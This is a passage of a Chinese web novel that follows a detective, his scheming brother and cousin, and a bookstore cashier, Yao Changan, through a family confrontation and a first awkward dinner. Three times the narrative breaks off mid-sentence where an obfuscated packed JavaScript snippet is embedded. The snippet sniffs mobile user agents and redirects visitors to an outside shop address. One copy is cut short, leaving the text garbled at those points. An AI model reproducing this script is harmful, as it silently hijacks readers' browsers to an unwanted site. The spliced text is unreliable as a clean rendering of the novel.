张浩不理解,喊道:“温哥,现成的警车,你坐公交做什么?” “案子办完了,我办私事。”温怀瑾一向坚持原则,绝不能公车私用。 张浩恍然:“你不回局里了?” “书面文件你处理,下次我来,谢了。”温怀瑾直接把人搡去了公交车。 一瞬间,车上的乘客都被温怀瑾的制服吸引,齐刷刷地看向了邢亚辉,活像在看一个犯罪分子。 邢亚辉难受到了极点,就这么坐如针毡地跟着温怀瑾回了温家。 温家爸妈已经下海了,特别有钱,在钟鼓区有一套独栋别墅。 邢亚辉跟过来,很是羡慕地看着那独立的小花园,以及那可望不可及的豪华别墅。 忍不住在心里嘀咕,不怪二表哥总想搞钱,有钱真好,谁不想有钱呢? 他站在门口,忍不住好奇:“大哥,这房子在你名下吗?” “不在。”温怀瑾名下确实有一套房产,那是他爸单独买给他的,在金鹏购物中心附近,不在这里。 他把人往里带,刚到客厅,便发现温枕瑜臭着一张脸,不知道在打电话骂谁。 他直接把邢亚辉搡到温枕瑜面前,警告道:“亚辉,我说话你不准插嘴,不然我叫你爸过来。” 邢亚辉赶紧闭上嘴巴。 温怀瑾坐在茶几对面,等温枕瑜打完电话,质问道:“老二,是你让亚辉跟踪人家女学生的?” 女学生?温枕瑜眉头一挑,这个祸害,跟踪个人都能被抓到现行?蠢死了! 好在他哥好像不知道女学生的姓名,他直接装傻:“什么女学生?我不知道啊!是不是亚辉又看上谁了?真是的,看上就追嘛,干嘛往我身上推?” 温怀瑾一看就知道这货在撒谎,他本来就怀疑老二突然回来的动机,便直接诈了一手:“钱霁怡在这边实习,被他撞上了。” 什么???温枕瑜瞬间炸毛,丢下刚拿在手里的红白机,骂道:“你有病是不是?跟你说了别碰钱霁怡!你耳朵聋了?还是活得不耐烦了!” 邢亚辉欲哭无泪,想辩解,又怕惹恼了大表哥,真给他爸喊过来就全完了,只得疯狂摇头。 这既不违背大表哥的规定,也能提醒二表哥,不是这样的,上当了哥! 结果温枕瑜会错意,以为他在狡辩,起身就要踹他,嘴里骂骂咧咧:“你个废物东西!让你跟踪姚长安,你居然跑去追钱霁怡,你踏马找抽是不是!” 温怀瑾一把将他扯开,把邢亚辉护在了身后,平静地陈述道:“你招了,别装了。” 什么?温枕瑜明显一愣,随即反应过来,他被骗了!草! 真不怪他容易激动,最近好多事情跟他预想的出现了偏差,尤其是姚长安这条线彻底崩了,他只能眼睁睁看着别人投资楼盘,大赚特赚,他气都要气死了! 好不容易在书店撞见了姚长安,还没有想办法从她那里啃下一块肉来,就被他哥发现了。 现在又被他哥骗出了真话,连钱霁怡对他的重要性都察觉到了,他真的炸了,下意识一拳挥了过来。 却叫温怀瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973033|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把扣住他的拳头,一拽,一掀,直接一个过肩摔,丢沙发上去了。 邢亚辉一声握草差点喊出口,忍不住在心里给大表哥鼓掌,但他嘴巴还是得闭上,在大表哥面前,就是得装孙子装得彻底一点。 可怜温枕瑜,钱没赚到,人没盯到,还得被他哥收拾。 什么倒霉的事儿都让他赶上了!他躺在沙发上,怔怔地看着头顶的吊灯,欲哭无泪。 只得默默闭上眼睛。 虽然他消停了,温怀瑾还是警告了一句:“姚长安救过你的狗命,你给我好自为之!” 温枕瑜不服,一个鲤鱼打挺坐了起来,质问道:“你管天管地,管得这么宽?我让亚辉跟踪她怎么了?他们订过婚,你管不着!” “人家是大学生,不收垃圾!”温怀瑾见过那女生好几次了,一看就是特别有原则有骨气的,绝不会看上邢亚辉。 温枕瑜不禁冷笑:“呦,你很了解她吗?怎么,路见不平,英雄救美啊?” “有问题?”在温怀瑾看来,姚长安应该是个独立自主的新时代女性,要不是邢亚辉跟踪她,还真不需要任何人救美。 可是没办法,既然有人不做人,他身为刑警,就不得不管了。 没想到温枕瑜更生气了,挑衅道:“我跟你打赌,他们会复合的,到时候你只会笑话自己多管闲事!” “不可能!”温怀瑾转身看着邢亚辉,“亚辉你说。” “我……”邢亚辉不知道说什么,他确实巴不得姚长安跟他复合呢,可是人家看不上他。只得耷拉着脑袋,“我没脸找她复合。” “你爸什么都告诉我了,你姚叔叔放了狠话,你好自为之。”温怀瑾说完便上楼去了。 邢亚辉不敢在客厅待着,只得屁滚尿流地追过去,假装问他爸爸说了什么。 温枕瑜哪能就这么放他走,赶紧三步并作两步,将他扯了回来。 邢亚辉不想挨打,直接哭了:“大哥,救我!” 温怀瑾站在楼梯上向下看,但见邢亚辉跟个瘪三一样,背都挺不直了。 一个名牌大学的女大学生,除非被人下了药失去了脑子才会跟他复合。 他忽然笑了:“我救不了你。” “大哥!”邢亚辉哭死了,“二哥生气了,会把我揍进医院的。” “挺好,他去坐牢,别墅给我一个人。”温怀瑾虽然没有劝架,却胜过千万无语。 温枕瑜果然受不了激将法,一把环住邢亚辉的脖子:“谁说我要揍你了?来,哥帮你想办法,追回姚长安。” 什么?温怀瑾猛地停下脚步,转身,回头,往下走。 温枕瑜不知道哪里惹着他了,蹙眉问道:“又怎么了?我不揍他了还不行?” 温怀瑾一把搡开邢亚辉,反手扯住温枕瑜的衣领子,从制服到他的每一根眉毛,都带着无形的压迫感。 他一字一顿地警告道:“离姚长安远点!” 温枕瑜不明白,他哥抽风了?他哥明明是注孤生的老光棍人设!直到全书完结都看不上任何女人! 他哥只能看他左一个右一个的造孩子,只能在最后一个剧情中牺牲,由他独享全部家产! 难不成他哥…… 难不成他哥也要脱离剧情的控制了? 他不敢相信,质问道:“凭什么?你是她什么人?” 温怀瑾显然考虑过这个问题了,他掏出自己的警徽:“我是刑警,她是我需要保护的公民!” 26. 你好(二更) 姚长安照常上班,并没有再见到邢亚辉和温枕瑜。不过她不是被动挨打的性子,想想还是给家里打了个电话,跟她爸妈说了一声,以防万一。 姚良远挂了电话,马不停蹄找到邢铁军告状,可怜邢亚辉,在省城还没有潇洒两天,就被他老子赶过来揪着耳朵,提溜上了火车站。 温怀瑾收到消息,不禁诧异,如果老二真想让表弟帮忙干坏事,肯定不会找姨父告状的,那就只能是姚长安自己了。 看来这姑娘挺有自保意识的,真好。他忍不住在心里夸赞一番,可惜他最近忙,没空去喝咖啡,也不知道她驾照考上了没有。 好在他手里的案子很快处理完了,第二天又是礼拜天,他便叫上张浩去金鹏喝咖啡。 刚到书店门口,就看到收银台换了个人,既不是姚长安,也不是老板自己,一问才知道,那女学生回校参加论文答辩去了。 “她还来吗?”张浩好奇得很,他看得出来,他家温哥眼中满是遗憾。 新来的小柳笑道:“我不知道,你们问老板吧,听说她是航大的,名牌大学呢,应该不会再来做这个吧?” 张浩恍然:“航大的呀?什么专业啊?” “好像是什么陀螺啊还是什么东西,我没记住。”小柳尴尬地笑笑。 温怀瑾却脱口而出:“航空陀螺与惯性导航。” “对,就是这个。你怎么知道?”小柳好奇地打量着那个男人,穿着普通的衬衫,看不出来做什么的。 温怀瑾笑笑:“听说过。”他往里走,还是言而有信地请了杯咖啡。 回去的时候,路过姚长安那栋单元楼,他下意识多看了一眼,房子都买了,应该会回来的吧? 发出同样疑问的还有赵津,她听说姚长安都买房了,很是惊讶:“你真打算做收银员啊?那多没劲啊,一点挑战都没有。” “挺好的啊,我有看不完的书,每天都在体验别人的人生。”姚长安笑着整理好论文,过来抱着赵津撒娇,“好啦津津,你别管这个了,快帮我看看论文还有没有问题,我可不想延毕,那太丢人了。” 赵津无奈,一边为好朋友可惜,一边又不想变得像她爸妈一样,强人所难。 只得拿起论文和书包:“走吧,去图书馆。” 两人连着泡了两个礼拜的图书馆,可算是把所有的问题全部解决了,姚长安累得够呛,参加完答辩,便带着赵津出去逛街,说什么也要送赵津一套衣服,一盒香水。 赵津不肯收,姚长安就假装抹眼泪:“哇,你不爱我了,你嫌弃我只是个小小收银员,攀不上你这个未来的研究员!” “哎呀,你胡说什么啊?我怎么会是这种人呢?快别哭了。”赵津哪里有这些花花肠子,急得手足无措的,又是给她擦眼泪,又是赔礼道歉的。 姚长安一把搂住她的脖子:“那你收下,我就信你。” “好好好,收下,收下。”赵津无奈得很,谁让她有个豪气的富婆室友,真是可恶! 很快,六月了,毕业季,大学校园里充斥着离愁别绪,各个班级都在组织拍照留念,姚长安跟赵津的班上都只有一个女生,两人不可能要求摄影师单独给她们拍照片,便等活动结束,相约去照相馆拍了一套艺术照。 两人各要一套,底片也对半分。 毕业证和学位证到手,便是真的要各奔东西了,姚长安临走的那天晚上,赵津哭着抱着她的脖子不肯撒手,非要请她去家里做客。 姚长安拗不过她,跟着去了赵家,到那一看,越发同情赵津了。 整个家里没有任何点缀,全是书,一墙一墙的书,一柜子一柜子的书。 这要是自己想学的,自然幸福无比,可是赵津是被迫的,赵津连自己的兴趣爱好是什么都不知道,浑浑噩噩的,跟个提线木偶有什么区别呢? 姚长安就是不想做提线木偶,才选择了自由,但是自由这两个字,她说不出口。 赵津身上背负了太多,父母的期待,导师的厚望,不像她,爸妈的爱更多是出于尊重和理解。 这何尝不是一种幸福呢,可遇而不可求。 所以姚长安没办法站着说话不腰疼,她只能祝福赵津,早点成为女博士,女研究员,名扬中外。 到时候,赵家爸妈开心了,赵津才会开心。 踏上火车,姚长安忽然归心似箭,回到老家,忍不住扑到妈妈怀里,狠狠撒娇一场。 她不断的絮叨着,说自己的爸妈有多好,但她绝口不提赵津的爸妈,她不想背后说人坏话。毕竟不是每个父母都懂得如何爱孩子,也许赵津的父母,只是在用他们的方式,教孩子怎么更好地飞翔。 她在妈妈的服装店帮忙,腻歪了整整一个礼拜,整天跟妈妈形影不离的,等爸爸办事回来了,也会说好多甜言蜜语,哄爸爸开心。 两夫妻被她的迷魂汤灌得晕乎乎的,都快舍不得让她去省城闯荡了。 不过,孩子终归是要长大的,做父母的终归是要放手的,溺爱是害,两夫妻还是忍着不舍,把她送上了火车。 刚到小区楼下,便遇到了那个公安同志,这次他身边没有那个矮一点的同事,只有他自己。 她对他笑了笑,他也客气地停下,问道:“需要帮忙吗?” “不用,谢谢啊,没多少东西,也就几本书有点沉。”姚长安笑着婉拒了,自顾自上了楼。 温怀瑾在楼下看着,心想里面是电梯,她拒绝帮忙也是合理的,便没有坚持。 他还要值夜班,便没有逗留,穿过这个小区,来到隔壁小区,赶紧上楼下碗面条,休息一会儿去换班。 第二天上班,姚长安发现穆从意给她涨工资了,她很震惊,问道:“姐,不是说好了一个月八百加提成吗?” “八百那是实习工资,你现在转正了。一千不算多的。”穆从意其实没这么大方,这从她极度精简的店员规模可以窥探一二。 可是没办法,穆承恩叮嘱了,一定不能亏待了这个妹妹,哪怕他出钱补贴她,都要让她做得开心,舒心。 穆从意也认定了这一定是自己的表妹,便主动加了二百的工资。 姚长安没有理由不要,笑着道谢后,便正式上班了,她好奇道:“小柳呢姐?” “她是临时过来帮忙的,你来了,她就回去享福去了。”穆从意笑着解释道,“她家拆迁了,不想努力了。” “哈哈,我也不想努力了。”姚长安心说果然是时代变了,如今到处都是拆迁的,不知道多少人一夜暴富呢,她有幸也是一份子,这是时代给的红利,而不是自己的真本事。 所以她虽然也想躺平,但也不能躺得太平,万一哪天时代又变了呢,到时候被时代甩开,可要不得。 开个书店就很好,既能时刻掌握时代的动向,不至于落伍,又有一定的自由。 总之,先做一年收银员看看吧,到时候再说。 快下班的时候,来了俩熟人。 她还不知道他们叫什么名字,正准备打个招呼,便听到有人在光碟区嚷嚷,找不到书剑恩仇录的碟,图书专员不在,只得她这个收银员顶上,她歉意地笑笑,赶紧去了。 张浩好奇地打量着温怀瑾,忍不住肘了他一下:“看什么呢?想搭讪?下次吧,人家忙着呢。” 温怀瑾没有说什么,进去喝了杯咖啡,原以为出来的时候,她总该忙完了,结果新书到货了,老板喊她帮忙,但见她穿着白衬衫和牛仔裤,扎着高高的马尾,进进出出的抱着一摞又一摞的书,好像浑身都有使不完的劲儿。 路过他身边,她歉意地笑笑:“不好意思,我来结账。” 她把书放在后面的桌子上,赶紧找零。 接过零钱的时候,温怀瑾又问:“需要帮忙吗?” “不用,谢谢啊。你们工作挺忙的吧?快去休息吧。”姚长安哪里好意思要别人帮忙呢,老板又不给别人开工资,她赶紧搬书去了。 温怀瑾记不清这是第几次被拒绝了,奇怪的是,她越是拒绝他,他越是想帮忙。 这大概是什么迟来的叛逆心理?毕竟他青春期的时候并没有叛逆过。 他陷入了沉思,以至于张浩忍不住笑话他:“怎么了?被女孩子拒绝了,不开心了?” 温怀瑾站在购物中心门口,矢口否认:“别胡说,我没有不开心。” “那你怎么不说话?”张浩一脸茫然。 温怀瑾沉思良久,还是问道:“你是怎么追到你女朋友的?” “啊?”张浩一脸活见鬼,“不是吧温哥,你……你铁树开花了?看上谁了?” 温怀瑾见他不说,抬腿便走。 张浩赶紧跟上去:“好好好,我错了,我说。我就是没话找话,厚着脸皮往她跟前凑,一次不行就两次,两次不行三就次。后来她受不了我,就跟我在一起了。俗话说得好,烈女怕缠郎,你学我,脸皮厚一点,准成。对了温哥,你快告诉我,你看上谁了?” 温怀瑾没好气地把他过分凑近的大脸盘子推开:“没你的事,别乱打听。” “切,你以为我看不出来?是姚长安吧?”张浩一语道破,“瞧你这失魂落魄的样子,还能瞒得了我?” “没有的事。”温怀瑾下意识否认,八字没一撇的事,说出来做什么,人家也未必看得上他。 真是奇怪,他长这么大,从来没有这样心神不宁过,他决定让自己清醒一下,接下来的一段时间,便不往书店凑了。 * 姚长安很快乐,因为赵津给她打电话了,温枕瑜没有回来,留在首都了。 “他傍上了这里的一个富婆,听说要入赘了。”赵津有同学在理工大学,早就听说了温枕瑜这颗校草的大名,她是当八卦说给姚长安听的,毕竟那人跟姚长安是一个省里的。 但她其实并不知道温枕瑜跟姚长安的过节。 姚长安惊讶不已:“真的?哪个富婆啊?” “陆祯愉,你念念看,温枕瑜跟她的名字听着像不像?”赵津也不是书呆子,研究生的生活枯燥乏味,闲暇之余她喜欢八卦一下放松放松。 姚长安更意外了:“陆祯愉?央美的那个?” “啊,你认识她呀?” “嗯,听说过,校花嘛。”何止是校花,还是本书钦定的温枕瑜官配大老婆。 只不过,按照原著的剧情,温枕瑜要积累了一定资本之后,才能入得了陆家爸妈的法眼,怎么这么快就…… 可能是没了她这个大血包,温枕瑜的启动资金出问题了。 只能入赘做小白脸,而不是把人家姑娘娶回自己家了,啧。 真以为赘婿好做吗?老丈人和丈母娘不得好好给他受点气才行?又是首都的户口,那是温枕瑜高攀了。 齐大非偶,他的鸡飞狗跳在后头呢。 姚长安又听赵津八卦了十几分钟,说陆家本来不同意这门婚事的,但是没办法,女儿怀上了,只能奉子成婚,免得被人笑话。 姚长安恍然,原来是这样,这温枕瑜,挺鸡贼的。这种下三滥的手段,岳父一家能给他好脸色看才有鬼了。 也是为了钱连尊严都不要了,自己选的路,受着吧。 这样也好,他在首都入赘了,就没空回来盯着她手里的钱不放了。 反正陆祯愉本来就是他的老婆,早结晚结,还不是一样的。 挂断电话,姚长安神清气爽地上班去了。 刚到那里,便看到来了一个女客人,买书。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973450|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小陈是每天最早过来开门上班的,毕竟准备甜品需要时间,所以他没空招呼客人。 姚长安赶紧过去问道:“同志你好,需要帮忙吗?” 姚长平心事重重的,盯着手里的地图,没留意身后店员的长相,她摇了摇头说了声不用,买了本地图和旅游攻略后,过来收银台结账。 她不太高,垫着脚也只能看到收银台后的店员头发,问道:“姑娘,你知不知道这里原来是个居民区?” “嗯,听说过。”姚长安忙着核对商品编号,没有抬头,接过书,算账找零后,帮忙把书装好,放在了收银台上。 姚长平愁眉不展的:“那你知道原来的人都搬到哪儿去了吗?” “不知道。我是外地的,不是很了解这里的情况,要不你去街道办问问?”姚长安倒是好心,这会儿刚开门,还没什么客人,要是这个外地人不认路,她可以出去带个路的。 姚长平低头核对金额,叹息道:“没用,我去过了,什么也查不到。” “你是来这里寻亲吗?要不报案试试?”姚长安平时也不爱多事,但她知道,早些年有不少女孩子被拐卖,没办法在亲生父母身边长大,面前的这个客人也许正是受害者呢。 姚长平却摇了摇头,拉上钱包拉链,把钱包收进背包贴身的内兜里,这才说道:“我空口无凭,报不了案,算了。我再找几个老人打听看看吧。” 姚长安本来都站起来了,见她拒绝帮忙,便坐下了,顺手抓起一把水果糖,放到收银台上面:“吃点糖,换个心情。” 姚长平笑着说了声谢谢,只拿了一块,便失魂落魄地离开了。自始至终,她都没有留意对方的长相。 她去公用电话亭打了个电话回去:“长英,我尽力了,什么也查不到,街道办的人最没有耐心了,跟打发叫花子一样,真烦人。” “姐,算了,想想别的办法吧。”姚长英并不想让三姐去那边打听,毕竟连他都碰壁了。 可是三姐不甘心,总想找到证据,证明方美玲是假的。 没办法,三姐跟方美玲接触下来,总觉得方美玲在耍心机。尤其是问到她的养父母,她总是岔开话题,明显是怕露馅儿。 姚长平想了想,道:“要不我让大姐直接问咱妈吧?” “咱妈高血压,还有心脏病。”姚长英很无奈,他虽然不是姨妈亲生的,可他是姨妈养大的,要是把姨妈气出个好歹来,他就难辞其咎了。只得问道,“姥姥姥爷知道些什么吗?” “他们?别提了,他们当初生了那么多女儿,送走好几个呢。他们根本就不在乎女儿的死活,只想要儿子。”姚长平义愤填膺,重男轻女的魔咒,在他们家也传承下来了,好在爸妈没有送走他们,只是领养了一个表弟,顶门立户。 以后家里的一切大概率都是弟弟的,她们姐妹三个,只能靠边站,想想就有点气馁,算了,不找了。 只要弟弟相信她的判断,不认方美玲,保持距离,事情就不会太糟。 一个月后,方美玲气鼓鼓地跑去了首都,找到邢亚辉哭诉,姚长英太难骗了,一个劲地问她要证据,她给不出,他就不肯再见她了。 邢亚辉有什么办法呢,只能找温枕瑜出主意。 温枕瑜忙着伏低做小,讨好老丈人一家呢,没有功夫理会这事,只叮嘱道:“别急,你先带她去舅舅的建筑公司上班,稳住她,等我有空了再来处理这事。” 邢亚辉无奈,只好带着方美玲回了省城,去舅舅家公司,一个当了楼盘销售员,一个当了公司前台。 花花世界迷人眼,尤其是这里离沪城太近了,两人时不时就去黄浦江沿岸开开眼界,一来二去,就互相看不顺眼了。 方美玲勾搭了沪城的一个老板,不回来了。 邢亚辉想勾搭富婆,奈何人家嫌弃他嘴巴不够甜,玩了他两个月便用三万块钱把他打发了。 赚钱无望,做小白脸也被嫌弃,邢亚辉只能灰溜溜地回到舅舅公司,继续卖楼去了。 很快就被同事怂恿,跟着去炒房,一伙人凑在一起,非法集.资了五百万,准备大干一场。 邢亚辉摩拳擦掌的,动手之前还不忘找温枕瑜打听一下行情。 温枕瑜心说,迟到的五百万,可算是来了。 他在首都遥控邢亚辉,怂恿这群人投给了他同学家开发的一个楼盘,不到三个月,那楼盘便暴雷,资金池空了。 同事们回过神来,都觉得是邢亚辉骗了他们,直接报警,告他非法集.资,告他诈骗! 邢亚辉吓得不轻,正准备开溜,就被接到报案的张浩逮了个正着。 温怀瑾是他表哥,出于亲属回避的原则,没有出警,但他可以帮忙联系家属。 他拿着张浩递出来的口供,一脸诧异:“联系人写的姚长安?她会搭理他?” 张浩无奈:“肯定不会,但他只肯写姚长安的名字和联系方式,可能是知道她有钱,想找她帮忙。我看你还是别管了,实在不行,联系一下他家里好了。” 温怀瑾沉思片刻,给邢铁军打了个电话,随后回家换了身衣服,直奔姚长安家小区去了。 他倒不是想帮邢亚辉,他是担心邢亚辉纠缠姚长安,给她提个醒。 姚长安今天休息,她去看了场电影,给自己和爸妈都买了两身行头。反正快过年了,过几天就放假回去了。 刚从楼梯口出来,就看到一个人影杵在她家门口,可惜楼道灯坏了好几天了,还没有人修,只能借助窗口的城市霓虹,隐约看出来是个穿西装的男人。 她很警惕,拿出了大哥大,先把110三个号摁了,再考虑要不要拨打出去。 就在这时,一个熟悉的声音传来:“你好,我等你很久了。” 27. 尬聊 人在警惕的状态下,情绪是紧绷的,态度也不会太客气,所以这人的声音虽然听着耳熟,但姚长安还是充满戒备地问了声:“大兄弟你谁?” 男人站在窗口,借着亮光,掏出自己的证件:“你前男友被抓了,联系人写的是你。” 哈?姚长安无语了:“我没有前男友!你要说邢亚辉的话,那是长辈定的婚事,我自己是不答应的。再说我都跟他退婚了,找我做什么?” 温怀瑾松了口气:“不去就好,你果然是不收垃圾的。” “什么?”窗口寒风呼啸,姚长安没听清,以为他想劝自己去保人,赶紧摆手,“不去不去,你找他表哥吧,他大表哥就在刑警队,二表哥是大老板,实在不行他还有个小表妹,是个很火的小明星。别找我我跟他不熟。” 这充满嫌弃的口吻,让男人眉头一皱,他把证件收好,无奈地自报家门:“我就是他大表哥。” 哈?姚长安愣住了:“你是温怀瑾?” “你知道我?”温怀瑾见她缩着脖子,肯定是被窗口的风吹着了,赶紧把窗户关上。 姚长安提着东西,走过去开门:“你姨父以前是我们村的,提过一嘴。” “哦。”温怀瑾来的时候天还没黑,所以他没带手电,也没想到走廊灯坏了,便问道,“家里有人字梯吗?” “怎么,你想帮我换灯泡啊?”姚长安开了门,犹豫片刻还是邀请道,“外面冷,有什么事进来说吧。” 毕竟对方是一个刑警,还是贯穿全文正义感爆棚的刑警,应该不会干坏事的。 再说了,即便不知道剧情,普通百姓面对警察和军人,也是会本能地交付信任的。 温怀瑾见她进门换了拖鞋,而鞋架子上只有她自己的鞋,并没有给客人准备的,便只站在玄关那里,等她拿梯子。 没想到她去卧室拿了双没拆封的男式拖鞋过来:“给我爸买的,也不知道你好不好穿。进来啊,把门关上,冷死了。” 温怀瑾有点尴尬,明明她刚开始还挺嫌弃他的,现在倒是挺客气的,他拿不定她的态度,只好换上拖鞋进来了。 姚长安转身去厨房提了个保温壶过来:“坐,喝什么?麦乳精?茶叶?还是咖啡?” “你也喝咖啡?”温怀瑾第一次单独来异性家里,坐在那里板板正正的,双手放在膝盖上,浑身紧绷。 姚长安忍不住笑了:“别紧张啊,我又不吃人。我不爱喝咖啡,喝了总爱跑厕所,冬天又冷,我才懒得出去挨冻呢。” 温怀瑾笑了,这姑娘比他想象得还健谈,他略微放松了一点,回道:“那我喝点茶就行。” “我只有毛尖,喝吗?”姚长安去厨房拿茶叶。 “我不挑。”温怀瑾追随着她的身影,看了眼房间布置,有花有草,还有针织的小动物,摆在沙发上,里面大概充了棉花,圆滚滚的还挺可爱,数了数,一共六只,猫、狗、兔、鸽子、企鹅还有海豚,也不知道是她自己做的还是买的。 沙发上的垫子也带着小动物的图案,背景是黄色的油菜花花海,暖色系的,让整个房间看着春意盎然的。 他笑着接过茶杯:“谢谢。” “你坐会儿,我去阁楼拿梯子。”姚长安也是头一次招待异性在家里做客,不过她并不紧张,这就是人民公安的安全感,天生的。 阁楼平时是用隔板封起来的,想开的时候拽一下上面的索绳,隔板就会跟梯子一起打开,可惜天冷有阵子没上去了,不知道怎么卡住了,她拽了好几下都拽不开。 温怀瑾见状,起身道:“我来吧。” 等他搬了个板凳过来,准备踩上去的时候,姚长安才真切地注意到了他的身高:“你有一米九吗?” “八八。”温怀瑾踩上去,一伸手便够着了隔板,敲了两下,声音闷闷的,怀疑是有死耗子之类的东西,赶紧提醒道,“你让开,别被东西砸着了。” 姚长安往后退了几步,隔板咔的一下被他推开,果然掉下来两个东西,尘灰呛人,温怀瑾眼睛睁不开,差点没站稳,姚长安赶紧上前张开双臂,想要托一把:“你没事吧?” 温怀瑾没看到她在后面,下来的时候正好撞进她怀里,两人都没站稳,一起摔在了地上。 真要命,姚长安没想到这人看着高高瘦瘦的,压在身上怎么这么沉呢,还好他已经起来了,顺带着拉了她一把,关切道:“你没事吧?不好意思,没看见你在后头。” “没事。”冬天穿得厚,真没摔到哪里,姚长安不是在假客气,她看着温怀瑾脸上和头发上的灰,赶紧去卫生间拿毛巾,倒了一盆热水过来,给他洗脸:“真不好意思,你赶紧擦擦,我去拿梯子。” 等她下来的时候,温怀瑾已经洗完脸了,连地上的两只死耗子都扫进了垃圾桶,正在那里拖地呢。 姚长安挺过意不去的,赶紧把梯子放下:“我自己来就行了,你坐下歇会儿吧。” “没事。”温怀瑾把地拖完,便扛着梯子出去了,出门的时候还不忘换上自己的鞋,到外面走廊,他搓了搓那只短暂牵过女孩子的手,深吸一口气,赶走内心的涟漪,踩上梯子拧下上面的灯泡看了眼,回到玄关那里说道,“是卡口的,不是螺纹的,我家正好有一个,梯子你看着点,我等下就来。” 姚长安很想说算了,可是他已经进了电梯下去了。 她只好站在门口等着,不然怎么办呢,总不能把门关上吧,本来走廊就黑。 她要是直接进屋去了,万一有坏人进来怎么办?还是站在门口放心,再拿本书,打发时间。 等温怀瑾过来的时候,便看见一个年轻的成年女性,安静地捧着本书,靠在门框上专注地看着。 跟他在火车上遇到的那次一样,她根本不在乎周围发生了什么。 这么忘我,难怪能考上那么好的大学。 他没有打扰她,径直踩上人字梯,把灯泡装了上去,装完还是不亮,他便准备下来找找开关。 姚长安回过神来,歉意道:“不好意思,怕你触电,我给关了。” 开关是双向的,电梯旁边的墙上有,住户门口也有,都可以控制,她摁下开关,亮了。 赶紧把书放在鞋架子上,过来扶着点人字梯,等人家下来。 温怀瑾刚落地,她便把梯子收了起来,问道:“你吃饭了吗?” “没有。”温怀瑾把梯子接过来,“我来吧,挺沉的。” “阁楼太窄了,你上去不方便。”姚长安不同意,还是把梯子接了过来。 温怀瑾坚持:“我不胖,我来。” 姚长安有点想笑,这人真逗,好几次想帮忙,没逮着机会,今天非要一次帮个够是不是? 算了,人民公安嘛,有点热心肠才是正常的。 等他换了鞋,去阁楼放下梯子,才发现阁楼并不是他想象的一团糟,里面其实收拾得挺干净的,只是长时间没有打开,落了点灰。 上面还放了点带壳的花生,估计是她老家爸妈让带的,难怪会有老鼠光临。 他从阁楼下来,发现姚长安居然已经换了身行头,围巾帽子手套都戴上了,鞋也换好了,正在玄关等着。 他有点好奇:“你要出去?” “请你吃饭啊,你不是没吃饭吗?我也没吃呢。”姚长安一向这样,别人投桃,她一定会报李。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977355|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 温怀瑾正愁找不到机会说话,既然她主动邀约,那就欣然应下。 他换了鞋,跟着她去了外面街上,大冬天的,压马路其实并不好玩儿,所以姚长安很快提议道:“你吃火锅吗?” “行啊,我不挑。”温怀瑾没戴围巾帽子,有点冻耳朵,吃点热乎的暖暖正好。 两人便去后面的老街,找了个火锅店,挑了个半封闭的隔间坐下。 坐下一看,温怀瑾的耳朵都冻红了,姚长安有点过意不去:“你冷怎么不说啊,我有车的。早知道不走过来了。” “你驾照考过了?”温怀瑾并不在意这点小事,他们出警的时候,戴的警帽其实也不保暖,尤其是不保护耳朵,习惯了。 姚长安赶紧帮他倒了杯热水:“你捂捂手。驾照考过了,不过我上班的地方近,一般都是走过去,自己出去玩的时候才开车。” “嗯。”温怀瑾也不知道怎么没话找话说,只能低头盯着杯子里的水。 姚长安笑了:“你这人真逗,你不是为你表弟的事来的吗,怎么现在一句都不提了?” “我不是为他。”温怀瑾抬眸,笑着看过来。 姑娘家的眸子亮晶晶的,充满了热情与真诚,真好。 好得让他心神不宁,只能移开视线,拿起菜单,掩饰内心的慌乱。 姚长安倒是自在得很,她性格外向,面对陌生人尚且可以聊上一会儿,何况是面对一个早就听说过,也见过,只是没有把名字和脸对上的“故人”呢。 她笑着问道:“不为他?那你为谁啊?” 温怀瑾没有回答,直接换了个话题:“你吃辣吗?” “吃啊,你呢?”姚长安给自己也倒了杯水。 温怀瑾点点头:“嗯,那我点辣锅了。” “好。” “要烫点菜吗?” “烫点菠菜和小青菜吧。” “好。”点完单,温怀瑾又找不到话说了,只能握着杯子,尴尬得脚趾扣地。 姚长安倒是健谈,问道:“邢亚辉到底犯什么事儿了?我建议你直接给你姨父打电话,一物降一物,他很怕他爸爸的。” “嗯,打过了。”温怀瑾其实并不想提这个人,他想了想,还是换了个话题,“你回去过年吗?” “嗯,还有一个礼拜就放假了。你们也有假吗?”姚长安喝了口水,润润嘴唇,这会儿身上暖过来了,真好。 温怀瑾笑道:“明面上的假期是有的。” “我懂,24小时随传随到。”姚长安不禁感慨,“真不容易。” “还好,习惯了。”温怀瑾有话想问,又说不出口,只得顾左右而言他,“你这工作也挺辛苦,搬那么多书。” 